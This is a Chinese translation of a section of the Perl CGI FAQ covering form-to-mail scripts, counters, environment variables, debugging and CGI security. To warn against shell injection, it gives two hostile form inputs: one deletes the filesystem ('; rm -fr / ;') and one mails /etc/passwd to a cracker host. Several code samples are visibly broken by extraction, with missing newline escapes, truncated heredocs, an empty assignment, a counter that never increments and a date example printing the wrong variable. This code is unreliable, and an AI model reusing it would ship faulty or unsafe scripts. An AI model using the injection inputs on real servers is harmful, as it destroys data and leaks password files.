top
Loading...
cgi程式設計疑難雜癥
Q4.1: 我想讓 user 填的 form 資料自動寄給我,該怎麼做?有沒有范例?

其實做這個很容易。您的 CGI script 必須能做到這兩件事:

將 form 中的資料整理出來。別忘了,所有的 form 資料都會被 URL-編碼起來 (先不考慮 Netscape 2.0 【及 2.0 以上所支援】的 multipart MIME資料)。

開一個管路 (pipe) 到 mail (或 sendmail ),然後把 form 資料寫過去。

我們就假設您用的是 CGI::* 模組。您可用以下的方法去叫 sendmail:

$cgi_form = new CGI::Form;
$from = $cgi_form->param('from');
$name = $cgi_form->param('name');
$to = $cgi_form->param('to');
$subject = $cgi_form->param('subject');
$message = $cgi_form->param('message');
open SENDMAIL, "| /usr/bin/sendmail -t -n";
print SENDMAIL <
From: $from <$name>
To: $to
Reply-To: $from
Subject: $subject
$message
End_of_Mail

有一個該注意的地方是 ``Reply-To:'' 的信頭。由於 server 是以 ``nobody''這 個使用者的身份來跑,信頭的地方可能會被搞壞(尤其是當有人想回這封信的時後)。 加上 ``Reply-To'' 的信頭這個問題便解決了。

網路上有許多的 mail 渠道 (gateway)* 是以底下這種方法來送 mail:

【譯者】gateway 在此指送 email 的 CGI 程式

open MAIL, "| mail -s 'Subject' $to";
^
|
+-- 可能會出問題的漏洞!!!

如果您沒有先檢查看 $to 這個變數有沒有內含 shell 的特殊符號 (metacharacters),您是在自討苦吃!譬如,如果哪個惡劣的 user 輸入了以下的資 料:
; rm -fr / ;

那麼您的麻煩可大了*。

【譯者】這里頭的 ``;'' 便是一個危險的 shell metacharacter。另一個危險的符號是 ``&''。

在這個假想的情況中,有多少個檔案會被遠方的 user 給殺掉,還得視 server 跑的使用者的權限而定(這就是為什麼 server 要以低權限使用者身份跑的原因)。 至少那些由 CGI 程式制造出來,但又沒有備份的檔案,是真的要跟它們永別了。

; mail joe@crackerland.org

那您的 CGI script 就替您把 /etc/passwd 給拱手送上了。這對一個「未加工」的 Linux、SunOS 4.1,還有其他任何沒安裝 shadow-password 的 UNIX 系統來說, 實在不太好玩。如果 server 錯誤地跑了 root,那麼就算裝了 shadow-password 也沒有用,因為遠方的 cracker 甚至可以讓這個 CGI 的 email script 給他送 /etc/shadow (視系統而定,不一定在 /etc 底下或叫這個名字)。

--------------------------------------------------------------------------------

Q4.2: 剛才這個用 form 送信的 script 看起來有點難。為什麼不乾脆用 ``mailto: URL'',這樣 user 填入的資料就可以寄給我了?

很不幸地,mailto: 的指令并不是所有的瀏覽器都支援。如果您在檔案中用了它的話, 會限制了那些使用沒有支援 mailto: 的瀏覽器的人,讓他們無法送 mail 給您*。

【譯者】盡管如此,您或許不會在乎那占極少數比例的使用者(Netscape 、 IE, 和 lynx 等瀏覽器都支援 mailto: )。

--------------------------------------------------------------------------------

Q4.3: 我要如何在 UNIX 以外的平臺上做 Perl-CGI,譬如 Mac、MS-DOS、 Windows 及 NT?我的 Perl CGI 程式能不能在這些平臺之間互相移植呢?能不能 很直接,沒有麻煩?我在 UNIX 主機上有帳號,但是都是先在 Windows/Mac 上做。 我要如何在我自己的機器上測試寫好的 CGI scripts*?

Perl 已經被移植到上述所有的平臺上了。因此,您的 Perl CGI 程式照理應不難 移植。但如果您使用到一些 UNIX 上的程式,那麼您的程式可能會不好移植。如果 您只是做資料處理,或開啟、讀進檔案等的話,那麼移植應該不會有問題。

【譯者】原 FAQ 并未回答最後這個問題。要在 Windows/OS2/Mac 等非 UNIX 平臺 上測式您的 scripts ,您可以使用 CGI.pm (支援以上所有平臺),配合 Q4.19 中提示的除錯技巧 ,或在自己的機器上安裝 HTTP server 軟體。如此就不用辛苦的連上主機去測式了。

--------------------------------------------------------------------------------
Q4.4: 在 Perl CGI 程式中,STDERR (標準錯誤訊息)、STDIN (標準輸入),和 STDOUT (標準輸出) 各是連到何處?

在 CGI 環境下,STDERR 會指向 server 的 錯誤訊息檔 (error log)。您可以善 加利用這個特性,把除錯的訊息寫到 STDERR,然後您便可藉查看錯誤訊息檔來幫 您除錯。

STDIN 和 STDOUT 則都和瀏覽器相連。實際上,STDIN 連的是 server。 server 會先解讀 client (或瀏覽器)送出的請求和資料,再將其送給 script。

您也可以用將 STDERR 「復制」到 STDOUT 的方法來抓錯誤訊息。這應該在 script 靠前頭的地方做(但應在您輸出合適的 HTTP 標頭之後):

open STDERR, ">&STDOUT";

這會將所有的錯誤訊息都轉送到 STDOUT (即瀏覽器) 去。

--------------------------------------------------------------------------------
Q4.5: 如何寫計數器?

計數器一類的程式相當流行。其實計數器的原理很簡單,不過是:

用一個檔案去儲存資料。

每當有人光臨網站,增大檔案中所計的數字。

以下是一個簡單的計數器的實例:

#!/usr/local/bin/perl -w

$counter = "/home/shishir/counter.dat";

print "Content-type: text/plain", "nn";

open(FILE, $counter) || die "Cannot read from the counter file.n";

flock FILE, 2;

$visitors = ;

flock FILE, 8;

close FILE;


open(FILE, ">$counter") || die "Cannot write to counter file.n";

flock FILE, 2;

print FILE $visitors;

flock FILE, 8;

close FILE;

現在您可以在 HTML 檔案中用 SSI (Server Side Include; 伺服端插入)* 的方式來顯示該計數器:

【譯者】SSI 是 server 所提供的一項功能,可將動態資料,例如日期和時間,或 計數器顯示等,在客戶請求一網頁時即時加入該文件中。支援 SSI 的 servers 包 括了 NCSA、Apache,和Netscape Enterprise Server 等。 SSI 固然是一項便利的設計,但如過份濫用 ,不但會減低 server 性能,更可能招來安全上的危機。

您是第   位光臨本站的客人。

--------------------------------------------------------------------------------
Q4.6: 要如何用一個 Perl 的取代指令將所有 HTML 標簽從一份文件中刪除?

以下這個簡單的 regular expression 可用來去除 HTML 標簽*:

【譯者】

要讓這個 regular expression 跨行執行,您必須先將您的 script 由預設的 按行執行模式 (line mode) 改為按段執行模式 (paragraph mode)。您可以在指令 列以:

perl -00 -we '...'

的方式;或是在 script 中以:

#!/usr/bin/perl -00



$/ = "";

的方式來設定按段執行模式。

除非您需要對欲刪除的 HTML 標簽中的內容做進一步的處理或利用,否則本例 中最外圍的一對括弧可去掉。

$line =~ s/<(([^ >]|n)*)>//g;

詳細的相關資料,請看 Tom [Christiansen] 的 striphtml 程式, 這個程式同時也收錄在他的tour of perl5 regexps 講義中。

--------------------------------------------------------------------------------

Q4.7: 要如何知道是誰/哪臺機器/哪個瀏覽器執行了我的程式?

您可以從 HTTP_USER_AGENT 這個環境變數得知使用者所用的瀏覽器。

【摘自 WWW FAQ】

您的 CGI script 可以利用五個重要的環境變數來幫忙辨識使用者的身份。

HTTP_FROM

這個環境變數理論上應設為使用者的email地址。但是許多瀏覽器完全不加以設定 【即不支援】,而大部份支援這個變數的瀏覽器又讓使用者自由設定這個值。因此, 建議讀者頂多拿它來做為 email form 中回信地址的預設值。

REMOTE_USER

這個變數唯有當 script 在安全認證的保護下執行時才會被設定。從 AUTH_TYPE 這個變數可以知道所用的認證方法是屬於哪一個類型。REMOTE_USER 則會含有正接 受認證的使用者的名字。要注意的是,REMOTE_USER 只有在使用安全認證的時候才 會被設定,而且不是所有的 servers 都支援。在 NCSA server 底下,如果認證所 使用的傳輸方式沒有列入 access.conf 檔中(也就是說,應使用 ,而不是僅僅用預設的 ),認證可能會出人意外地失 敗。

REMOTE_IDENT

如果 server 能連接上客戶端的 IDENT server,它會將這個變數設成遠方使用者 的身份。但由於向IDENT server 查詢的動作太花時間,大部份的 servers 都把這 項功能關掉。更何況,客戶端的機器是否會回應查詢,又是否會誠實以對,都是無 法確定的。

REMOTE_HOST

這個變數的設定值并不包括遠端使用者的真實身份,但是會提供使用者正用來連線 的機器名稱,只要 server 能找得出來。由於我們無法確切得知使用者的真實身份 【請看前一個環境變數的說明】,有的時候使用可確認的位址來替代,不失為一個可 行的變通方法。在 server 查不到遠端的機器名稱,或者是為增加 server 的處理 速度而將這個查詢功能關掉的情況下,這個變數是空的;請看底下 REMOTE_ADDRESS 一項的說明。還有,別忘了您可能會發現所有使用同一個 proxy (代理人) server 的使用者的機器名都變成了那臺 proxy server 的名字。

REMOTE_ADDR

這個變數的設定值并不包括遠端使用者的真實身份,但是會提供使用者正用來連線 的機器的資料。REMOTE_ADDR 會包含客戶端的 IP 位址,以用點隔開的十進位數字 的形式來表示。由於我們無法確切得知使用者的真實身份 [請看前一個環境變數的 說明],有的時候使用可確認的位址來替代,不失為一個可行的變通方法。和前一 項 REMOTE_HOST 不同的是,這個變數一定會被設定。還有,別忘了您可能會發現 所有使用同一個 proxy (代理人) server 的使用者的機器位址都變成了那臺 proxy server 的位址。

【摘錄自 WWW FAQ 部份完】

--------------------------------------------------------------------------------

Q4.8: 人家看得到我的 Perl CGI 程式嗎?如果是這樣的話,那不就讓他們知道我的程式是怎麼運作的了。這是個安全漏洞嗎?我要怎麼把它隱藏起來?

如果您將您的 server 設成對所有在一個特定目錄(如 cgi-bin)下的檔案,或者 是具有某些副檔名(如 ``.pl''、``.tcl''、``.sh'')的檔案一律都以 CGI 程式看 待,那麼 server 只會執行這些程式。至於使用者是無法看到 script 本身的內容 的。

但是如果您允許人們看您的 script (譬如把它放到 HTML 文件的根目錄 下),那麼只要是這個程式沒有安全上的漏洞,這并不能算是安全問題。如 果這個程式真的有安全上的破綻而您又允許使用者看這個程式,那麼他們便有機可 乘,進而利用這個弱點。

【譯者】上面這段原文作者是就遠方的客戶端的使用者而言。和這個主題相關的一 個常問問題是:

Q: 我的 Perl CGI scripts 必須將權限設為全世界可讀。可是這樣一來,和我同 機器有帳戶的人,只要知道我的程式名稱,就可以瀏覽我的 Perl 程式的內容;尤 其當其中牽涉到密碼的問題時。

A: 至少有兩個解決方法,一個簡單,一個復雜:

簡單的方法是,請您的系統管理者(如果不是您自己的話),將您的 CGI scripts 及密碼檔(如果您選擇將密碼存放在另一個檔案中的話)的所有者設成 Web server 跑的使用者(最常見的是使用者 nobody ;使用群 nogroup 或 nobody), 然後將 CGI scripts 的使用權限設定成 550 (-r-xr-x---),密碼檔的權限設成 440 (-r--r-----)。如此一來,一方面您的程式得以執行,而且其他同機器上的 使用者也沒有辦法偷看到您的程式和密碼。

比較復雜的解決方法是先挑個難破的密碼將整個程式加密起來,然後再使用 Filter::decrypt 這個模組在臨執行前將其解開,在此不多說。有興趣的讀者請看 Filter::decrypt 的使用說明;此外新的 perl FAQ 第叁部分中這一段:``How can I hide the source for my Perl program?'' ,大家也可參考。

--------------------------------------------------------------------------------
Q4.9: 我需要將整個 Perl library 都復制到我的 htdocs 目錄底下嗎?

不需要。您的 CGI scripts 可以使用 server 和 文件根目錄之外的任何檔案,除 非 server 是在一個 chroot 的環境下執行。

--------------------------------------------------------------------------------

Q4.10: 我為什麼不該叫使用者輸入他們的密碼或身份證字號或信用卡號碼?有一個 TYPE="password" 不是就是拿來做這個的嗎?

No! form 的介面中有一個 ``password'' 的欄位,但是您不應該拿它來處 理任何機密性的資料。不該這麼做的原因是因為所有的 form 資料(包括 ``password'' 欄) 都是以純文字形式,而非以加密形式由瀏覽器送至 server。

如果您想要安全地傳送資料,那麼您需要使用具有安全功能的 server,例如 Netscape 的 Commerce Server*。

【譯者】Apache SSL ,例如 Stronghold 版,同樣具有這個功能。

--------------------------------------------------------------------------------

Q4.11: 我要如何產生專門替 Netscape 設計的網頁,以別於世上其他的瀏覽器?

您可以透過 HTTP_USER_AGENT 這個環境變數在您的 CGI script 中得知是否 Netscape 正在執行您的 script。以下為一例:

$browser = $ENV{'HTTP_USER_AGENT'};

if ($browser =~ /Mozilla/) {

#

# Netscape

#

} else {

#

# Non Netscape

#

}


--------------------------------------------------------------------------------

Q4.12: 為什麼我的 system() 所產生的資料輸出順序不對?

這是由於標準輸出的產生方式通常是先累積相當的資料再輸出(buffered)。要 讓輸出的資料以正確的順序顯示,您必須藉由 $| 這個變數的設定將 buffering 的 特性關掉。

--------------------------------------------------------------------------------

Q4.13: 我聽說 Netscape 會支援 Java*。這是不是說我現在得棄 Perl,改 Java 了?是不是該這麼做?

【譯者】原 FAQ 已有相當一段時間未更新。這句話現在應該改作「Netscape 和 IE 兩大瀏覽器都已支援 Java」。


不、不、不。Java 和 CGI 的概念完全不同。CGI 是在 server 端執行,而 Java則是在 client 端執行。有些東西(如動畫)可藉由使用 Java 而得到較好的效 果。但您可繼續使用 perl 來發展 server 端的應用程式。

如果您需要有關 Java 進一步的資料,底下列了幾個文件您可以去看看*:

升陽公司的 Java 文件

Tom C.所寫的 Java uber Alles(Java 的種種)

Java, the Illusion(Java 幻像)

【譯者】後面這兩篇文章對 Java 及這個熱潮作了很嚴厲的批判。本 FAQ 作者 Tom C. 的 Java uber Alles 中的論點主要著重於技術層面。Tom 對 Java 的態度或許代表了不少 Perl 陣營人仕的心聲。

--------------------------------------------------------------------------------

Q4.14: 我要如何讀取環境變數?為什麼它們有時候會不一樣?

您可以透過 %ENV 這個關連陣列來讀取環境變數。以下這個簡單的 script 會把所 有的環境變數印出來(排好順序):

#!/usr/local/bin/perl -w

print "Content-type: text/plain", "nn";

foreach $key (sort keys %ENV) {

print $key, " = ", $ENV{$key}, "n";

}

exit 0;

很不幸的,有些環境變數會被某些瀏覽器忽略掉。譬如,有些瀏覽器就不設定 HTTP_REFERER。
--------------------------------------------------------------------------------

Q4.15: 為什麼我輸出的資料被攪亂了(如 ``b

如果您送的 MIME 類型是 HTML 的話,您必須 「跳脫」 (escape) 某些符號,如 ``<''、``&anp;'',及 ``>'',否則瀏覽器會以為它是 HTML 【標簽】。

您必須使用以下格式來跳脫特殊字元:

&#ASCII 代碼;

您可以在指令列執行這個簡單的 script,便可得到非字母數字性字元 (non alpha-numeric characters) 所對應的 ASCII 碼:

#!/usr/local/bin/perl -w

print '請輸入字串: ';

chop($string = );

$string =~ s/([^ws])/sprintf("&#%d;", ord($1))/ge;

print '跳脫過的字串是: ', "$stringn";

exit 0;

--------------------------------------------------------------------------------

Q4.16: 為什麼我的Perl CGI 程式可以由指令列,卻無法從瀏覽器去執行?

最可能的原因是權限的問題。別忘了,您的 server 可能是以 ``nobody''、 ``www'',或其他權限很低的帳戶身份來執行的。因此,除非它有足夠的權限,否 則是無法執行您的 script 的。

--------------------------------------------------------------------------------

Q4.17: 為什麼我的 Perl CGI 程式能跑,但是不會把資料寫到檔案中?

這又是權限在作怪!server 除非有足夠的權限否則是無法將資料寫進某目錄下的 某檔案里去的。

您應該養成習慣檢查 open 指令遞回的錯誤狀態 (error status):

print "Content-type: text/plainnn";
.
.
.
open(FILE, ">/some/dir/some.file") ||

print '無法寫進檔案: ', "$!n";

.
.
.

--------------------------------------------------------------------------------

Q4.18: 要如何做一個會維系狀態,或允許【同一使用者】多次連線的 form?

您可以用 CGI::MiniSvr 這個 module 來維持【記住】幾次不同的連線之間的狀態資 料。

或者,您可以制做一系列的動態文件,在彼此之間相互傳遞一個期間代碼(session ID),此代碼可以以詢問 (query)、額外路徑,或隱藏式欄位等形式存在*。

【譯者】CGI.pm 會替您把這部份(維持狀態)做好 (用上述的原理),故使用 CGI.pm 可自動享受這項功能,不需要自己去做。這又多了一個該使用 CGI.pm 的理由。

--------------------------------------------------------------------------------

Q4.19: 如果不從瀏覽器去執行我的 CGI 程式,要如何替它除錯?

CGI 程式不容易除錯。您可以藉著手動設定環境變數來模擬 server:

setenv HTTP_USER_AGENT "Mozilla/2.0b6" (csh)



export HTTP_USER_AGENT = "Mozilla/2.0b6" (ksh, bash)

要模擬 POST 請求,您可以把資料先放進一個檔案里,然後把它 pipe 到您的程式 去:

cat data.file | some_program.pl

或者您可以用 CGI.pm 來幫您除錯。假設您有一個像下面這樣的 script, 它會把所有您傳給它的索引/設定值對應資料 (key/value pairs) 都列印出來。


#!/usr/local/bin/perl -w

use CGI;

$cgi = new CGI;

print $cgi->header;

print $cgi->start_html("Simple CGI.pm Program");

print "

Simple CGI.pm Program
n";

print "

--------------------------------------------------------------------------------
";

print '以下所列的是您傳送的設定值:';

print $cgi->dump;

exit 0;

這個 script 不會在乎您是透過 GET、POST,或 ISINDEX 請求,或者是由指令列、 標準輸入,或文字檔將資料傳送給它。為了方便除錯,我們就直接從指令列傳一些 資料給它吧:

% simple.cgi first=shishir last=gundavaram document='CGI FAQ'



% simple.cgi "first=shishir&last=gundavaram&document='CGI FAQ'"

在第二個例子中,整個字串周圍必須加引號("),否則 shell 看到 ``&'' 這個符 號會誤解。好,接下來是從標準輸入來除錯的方法:

% simple.cgi

(waiting for standard input)

first=shishir

last=gundavaram

document=CGI FAQ

^D

當然,您也可以先用一個檔案來儲存資料,然後再做輸入轉向,像這樣:


% simple.cgi

您也可以用 CGI Lint (即將出版)。它能達到相同的功效。另外,它也能幫忙檢查 有無安全問題,不當使用 open(),以及不正確的 HTTP 標頭等。

--------------------------------------------------------------------------------

Q4.20: 如果不靠
標簽,要如何叫出 Perl CGI 程式?

您可以直接去打開該 CGI 程式的 URL:

http://some.machine/cgi-bin/your_program.pl

您也可以在文件中使用連結的方式,例如:

要試試我的CGI程式請在這里點一下

--------------------------------------------------------------------------------

Q4.21: 要如何避免旁人不先填欄位就執行我的 form?他們為什麼一直不斷這麼做?

這些人欄位完全空白就去執行 form 是因為他們把這個 form 的 URL 儲存起來 【儲存到書簽里面】的關系。當他們下次叫出這個 form 的時候,這個請求就會變成 是一個空的 GET (而非 POST 或填有資料的 GET)。

您可以先檢查所有欄位中的資料,如果其中有欄位留白的話,您可以送回一個``No Content'' 的狀態屬性*。以下是一例(假設關連陣列 %form 中含有您 form 的資 料):

【譯者】狀態碼 204 的屬性已由 HTTP

0.9 的 ``No Response'' 變為

HTTP 1.0 和

HTTP 1.1 中的

``No Content'' 了。

$error = 0;

foreach $value (values %form) {

$value =~ s/s//g;

$error = 1 unless $value;

}


if ($error) {

print "Content-type: text/plainn";

print "Status: 204 No Contentnn";

print '除非您的瀏覽器不支援狀態碼 204 ,否則您不該看到這部份' , "n";

} else {

#

# Process Data Here

#

}

--------------------------------------------------------------------------------

Q4.22: 那些server 回應碼 (server response codes)是干什麼用的?有什麼意義?

CGI 程式可以傳送 server 然後 server 會把它轉送給瀏覽器。例如: 假設您想送 ``No Content'' (意思是告訴瀏覽器不要再重新下載該網頁),那麼您得送一個 204 的回應碼(見上例)。

--------------------------------------------------------------------------------

Q4.23: 為什麼 print "Location: http://host/page.htmln" 不 work?又為什麼它只 work 一次,但隨後的轉向就都弄錯了呢?

CGI 程式只能送一個 Location 標頭。還有,如果您要 server 做轉向的 動作您就不該送 MIME 類別。譬如,以下的例子是錯誤的示范,盡管在有些 servers 上行的通:

#!/usr/local/bin/perl -w
.
.
.
print "Content-type: text/plainn"

print "Location: http://some.machine/some.docnn"";


--------------------------------------------------------------------------------


Q4.24: 要如何讓 server 在每個 HTML 網頁的底部都自動加上一個:「最近更新日期: ...」的告示?或者,是不是只有 SSI 的網頁才能這麼做?CGI 程式的日期要如何取 得?

如果您是透過 CGI 以動態方式來產生您的文件,那麼要插入一個時間標記非常簡 單。以下是一例(僅適用於 Perl 5):

$last_updated = localtime;

print '最近更新日期: ', "$last_updatedn";

或者是:

require "ctime.pl";

$last_updated = &ctime(time);

print '最近更新日期: ', "$last_updatedn";

甚至像這樣:

chop($date = `/usr/local/bin/date`);

print '最近更新日期: ', "$last_updatedn";

您可以用 SSI 來達到這個效果,像這樣:

<--#echo var="LAST_MODIFIED"-->


--------------------------------------------------------------------------------

Q4.25: 什麼樣的場合下以 Perl 寫 CGI 程式會顯得太小題大作,因為用 shell 就可以做到?而什麼樣的場合對 Perl 來說又過於困難?用 C++ 做這類的事不是好得多嗎?那用 C 呢?

每一個語言都有其長處和短處。相信這句話您聽過很多次了。所以一切全看您要做 的是什麼而定。如果您預期正準備寫的 CGI 程式每個鐘頭會有幾千幾萬人次連去 使用,那麼您應該選用 C 或 C++來寫。如果您求快的話(指發展所花費的時間而言), 那麼 Perl 是正確的選擇!

一般說來,您應避免用 shell 來做任何形式的 CGI 程式設計,因為 shell 在先 天上容易產生安全問題。 
北斗有巢氏 有巢氏北斗